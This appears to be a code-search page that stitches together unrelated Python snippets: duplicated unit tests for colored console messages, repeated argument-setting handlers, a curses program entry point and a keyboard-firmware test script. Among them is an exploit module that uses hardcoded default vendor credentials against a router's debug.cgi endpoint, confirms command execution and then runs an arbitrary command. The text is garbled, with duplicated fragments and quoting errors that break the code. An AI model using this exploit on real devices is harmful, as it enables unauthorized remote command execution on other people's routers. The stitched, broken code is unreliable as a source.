Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def test_print_messages(self, mock_builtins):
# mock_utils.return_value = "posix"
test_string = "Hello World"
interface.messages.print_success(test_string)
mock_builtins.assert_called_with("\033[32m\033[1m[+]\033[0m", test_string)
interface.messages.print_error(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_warning(test_string)
mock_builtins.assert_called_with("\033[93m\033[1m[!]\033[0m", test_string)
interface.messages.print_failed(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_help(test_string)
mock_builtins.assert_called_with("\033[95m\033[1m[?]\033[0m", test_string)
interface.messages.print_info(test_string)
mock_builtins.assert_called_with("\033[94m\033[1m[*]\033[0m", test_string)
interface.messages.print_green(test_string)
mock_builtins.assert_called_with("\033[32m%s\033[0m" % test_string)
def test_print_messages(self, mock_builtins):
# mock_utils.return_value = "posix"
test_string = "Hello World"
interface.messages.print_success(test_string)
mock_builtins.assert_called_with("\033[32m\033[1m[+]\033[0m", test_string)
interface.messages.print_error(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_warning(test_string)
mock_builtins.assert_called_with("\033[93m\033[1m[!]\033[0m", test_string)
interface.messages.print_failed(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_help(test_string)
mock_builtins.assert_called_with("\033[95m\033[1m[?]\033[0m", test_string)
interface.messages.print_info(test_string)
mock_builtins.assert_called_with("\033[94m\033[1m[*]\033[0m", test_string)
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_run(self, e):
url = "http://%s:%s/debug.cgi" % (self.host, self.port)
data = {"data1": "echo 741852", "command": "ui_debug"}
try:
response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60)
result = re.findall("<textarea cols="100" rows="30">\\n(.*)\\n</textarea>", response.text)
if "741852" == result[0]:
print_success("Target is vulnerable")
data = {"data1": self.command, "command": "ui_debug"}
response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60)
result = re.findall("<textarea cols="100" rows="30">\\n(.*)\\n</textarea>", response.text)
print(result[0])
else:
print_error("target is not vulnerable")
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("exploit failed")
except TypeError:
print_error("Something went wrong in answer parsing")
Exploit()
def do_set(self, e):
args = e.split(' ')
try:
if args[0] == "host":
if interface.utils.validate_ipv4(args[1]):
self.host = args[1]
else:
print_error("please provide valid IPv4 address")
elif args[0] == "port":
if str.isdigit(args[1]):
self.port = args[1]
else:
print_error("port value must be integer")
except IndexError:
print_error("please specify value for variable")
def main(curses_screen):
G.screen = Screen(curses_screen)
G.screen.Initialize()
C.ConfigureRuntime(curses_screen)
G.reqManager = RM.RequestManager()
G.reqManager.FetchData()
G.intf = I.Interface()
G.intf.Init()
bookThread = threading.Thread(target=BookKeepingThread)
bookThread.start()
#inputThread = threading.Thread(target=G.intf.Input)
#inputThread.start()
try:
G.intf.Input()
except:
DEBUG.Display("Cleaning up...")
bookThread.join()
# Logger (current file and parent directory only)
logger = kiilogger.get_logger(os.path.join(os.path.split(__file__)[0], os.path.basename(__file__)))
logging.root.setLevel(logging.INFO)
# Reference to callback datastructure
data = i.control.data
# Enabled macro debug mode - Enabled USB Output, show debug
i.control.cmd('setMacroDebugMode')( 2 )
# Enabled vote debug mode
i.control.cmd('setVoteDebugMode')( 1 )
# Enable layer debug mode
i.control.cmd('setLayerDebugMode')(1)
# Enable pending trigger debug mode
i.control.cmd('setTriggerPendingDebugMode')(1)
# Enable output module debug mode
i.control.cmd('setOutputDebugMode')(2)
### Test ###
testrunner = KLLTestRunner([
LayerTest(),
#LayerTest(tests=20, test=1),
])
testrunner.run()
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")